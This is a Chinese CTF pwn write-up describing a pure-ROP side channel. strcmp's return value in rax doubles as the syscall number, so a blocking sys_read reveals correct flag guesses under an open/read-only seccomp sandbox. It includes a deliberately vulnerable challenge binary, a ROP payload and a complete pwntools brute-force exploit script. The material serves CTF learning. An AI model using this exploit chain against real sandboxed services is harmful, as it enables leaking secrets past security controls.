侧信道攻击的一种新方式(纯ROP实现侧信道)
前言
此利用方法是我在做鹏城杯2024 vm时想到的,那题的沙箱与我的例题相同(可能作者是想到了这个利用方法才开了这样的沙箱),但网上没有使用ROP做侧信道的文章,我来写一篇,并附上自创的例题,弥补这一空白。
例题信息
例题使用的沙箱如下

其使用白名单,只保留了open,read。有or缺w,且无mprotect,并非常规的写shellcode做侧信道
例题源码
例题直接给了所需的一切,甚至直接将flag读入全局变量,只考察该新方式的利用,不添加任何使其复杂的元素
里面的大部分代码都是为开启沙箱做准备,想要学习沙箱规则可以搜索沙箱BPF规则
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
#include <stddef.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>
#include <linux/bpf.h>
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
void Init_Sandbox() {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 4),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 2, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)ARRAY_SIZE(filter),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {
perror("prctl(PR_SET_NO_NEW_PRIVS) failed");
return;
}else if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0) {
perror("prctl(PR_SET_SECCOMP) failed");
return;
}
}
char flag[0x40];
char your_flag[0x40];
void init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
}
void get_flag(int length)
{
open("./flag",4);
read(3,flag,length);
}
int main() {
char s[0x20];
init();
printf("printf:%p\n",&printf);
printf("flag:%p\n",&flag);
printf("your_flag:%p\n",&your_flag);
puts("Guess my flag!");
read(0,your_flag,0x40);
get_flag(strlen(your_flag));
Init_Sandbox();
read(0,s,0x200);
return 0;
}
侧信道攻击的新方式
由于rop的自由度远小于shellcode,只能在gadget和函数层面构思
在某个清晨,我灵感迸发,想到了这个侧信道方式:
strcmp函数+ 系统调用
利用方式
通过ROP或者其他方式,在内存中写入自己猜测的flag和真实flag(在猜测过程中保证长度一致)
在ROP链中先调用strcmp函数,两个参数分别为自己猜测的flag和真实的flag。比较结束后调整寄存器,设置rdi为0,rsi为一个可写地址,rdx为一个正数,跳转到syscall
如果比较通过,那么最后会执行类似sys_read(0,s,0x100)的系统调用语句,在接收到输入之前会导致系统阻塞
判断程序在ROP链中是遇到阻塞还是直接退出,若遇到阻塞代表比较通过,直接退出代表比较失败
循环此过程,直到flag完全猜测出
利用原理
strcmp函数的性质:
对两个字符串的字符作差,比较两个字符串。遇到不为0的情况,或者比较结束就会返回,返回值会储存在rax
syscall性质:
使用rax作为系统调用号,rax处于不同值时,执行syscall会运行不同的系统调用
它们的关联点在于rax寄存器,它是储存函数返回值的寄存器,也是储存系统调用号的寄存器。
而rax=0代表字符串相等,同时rax=0代表需要执行系统调用sys_read。
read系统调用时我们的连接会阻塞,而不是直接断开,这可以作为一种侧信道信息,即:
我们可以通过能否再次输入,判断是否运行sys_read,从而推断出字符串是否完全相等
此方式存在的一些问题
能够阻塞程序的系统调用号有不少,比如说有可能触发sleep导致误判为比较通过
本题采用白名单,且白名单以内,只有read存在阻塞,所以不存在干扰
如果遇到干扰,由于flag的字符集有限
my_list = \
[chr(i) for i in range(ord("a"),ord("z")+1)] +\
[chr(i) for i in range(ord("A"),ord("Z")+1)]+\
[chr(i) for i in range(ord("0"),ord("9")+1)]+\
["_","-", '{', '}']
我们可以缩小猜测范围,减小误判的风险
例题题解
题目直接以gift形式提供了libc地址、程序读取到的flag储存地址、用户可控的bss段地址。
并且直接白送了一个比较大的栈溢出,用于帮助选手使用侧信道攻击
结合该新新方法,编写ROP链如下,这里解释两个地址
#先传参,再调用strcmp比较字符串,随后调整寄存器,使rax为0时可以正确调用sys_read
payload=b"a"*0x28+p64(pop_rdi)+p64(my_flag_addr)+p64(pop_rsi)+p64(flag_addr)+p64(strcmp_addr)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(my_flag_addr+0x40)+p64(pop_rdx)+p64(1)
payload+=p64(syscall)
strcmp
strcmp是一个只使用字符串操作的函数,不涉及任何系统调用,所以哪怕是这种最严格的白名单也不会限制这个函数。
调用strcmp不可以使用以下写法
libc.sym['strcmp']
我一开始也犯了这个错误,但gdb调试之后发现不对劲,进入libc就明白了,libc中的strcmp不是用于比较字符串的功能函数,而是一个预筛选函数,会根据需要比较的字符串,选择最高效的比较函数,它的返回值是一个函数指针,必定会导致利用失败,解决方法为选用j_strcmp函数或者strcmp函数中的四个功能函数任意一个。


syscall
这个指令可以直接使用ROPgadget搜索,也可以使用ida打开libc后搜索

小tip
当我们成功构造ROP链,通过输入相同的字符串,触发一次read时,接下来只需要将这段exp集成成一个函数,用来检验flag是否正确,pwn方向的任务就已经完成,剩下的就是python编程。
remote和process对象的recv等方法都会由于程序结束而抛出异常,但设置timeout,由于timeout结束接收不会抛出异常,可以借助这一点来鉴别程序的存活与否,进而判断阻塞,判断flag是否正确。但要注意,一定要在recv之前将输出接收干净,不然不会抛出异常。翻阅pwntools的交互,只发现了这一个方法可以鉴别程序是否阻塞,如果有读者发现了更优雅的方式可以评论一下。
判断程序是否处于阻塞:
try:
p.recv(5,timeout=1)
p.close()
return True
except:
p.close()
return False
exp
from pwn import *
from std_pwn import *
#log_level="debug",
context(os='linux', arch='amd64', terminal=['tmux','splitw','-h'])
libc=ELF("./libc-2.31.so")
def try_flag(flag):
p=getProcess("10.81.2.238",10058,"./vuln")
ru("printf:")
libc_base=int(rl()[:-1],16)-0x61C90
ru("flag:")
flag_addr=int(rl()[:-1],16)
ru("your_flag:")
my_flag_addr=int(rl()[:-1],16)
log(libc_base)
log(flag_addr)
log(my_flag_addr)
pop_rax=0x36174+libc_base
pop_rdi=0x23b6a+libc_base
pop_rsi=0x2601f+libc_base
pop_rdx=0x142c92+libc_base
gdba()
sa("Guess my flag!\n",flag)
payload=b"a"*0x28+p64(pop_rdi)+p64(my_flag_addr)+p64(pop_rsi)+p64(flag_addr)+p64(0xAA3B0+libc_base)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(my_flag_addr+0x40)+p64(pop_rdx)+p64(1)+p64(0x630A9+libc_base)
sl(payload)
try:
p.recv(5,timeout=1)
p.close()
return True
except:
p.close()
return False
flag="flag"
my_list = [chr(i) for i in range(ord("a"),ord("z")+1)] +\
[chr(i) for i in range(ord("A"),ord("Z")+1)]+\
[chr(i) for i in range(ord("0"),ord("9")+1)]+\
["_","-", '{', '}']
while 1:
if flag[-1]=="}":
break
for c in my_list:
if try_flag(flag+c):
flag+=c
print("Success!!!Now,flag:"+flag)
sleep(1)
break
else:
print(c+" flase")
print(flag)
攻击效果
复现资料已上传附件,打侧信道爆破看着数据一位一位出来真的很爽。

-
example.zip
下载
转载
分享
师傅有其它附件吗?有的话麻烦发我一份全部pwn的附件到邮箱呗:3156063554@qq.com